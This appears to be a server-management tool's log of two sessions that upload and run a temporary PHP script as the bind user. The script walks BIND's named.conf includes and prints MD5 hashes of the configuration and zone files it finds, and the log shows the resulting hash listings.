MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:49:50: Establishing a connection
2026-04-30 16:49:51: 

PUT: /tmp/pkp380061

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:49:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp380061; rm /tmp/pkp380061'

2026-04-30 16:49:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:54:42: Establishing a connection
2026-04-30 16:54:43: 

PUT: /tmp/pkp550969

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:54:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp550969; rm /tmp/pkp550969'

2026-04-30 16:54:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
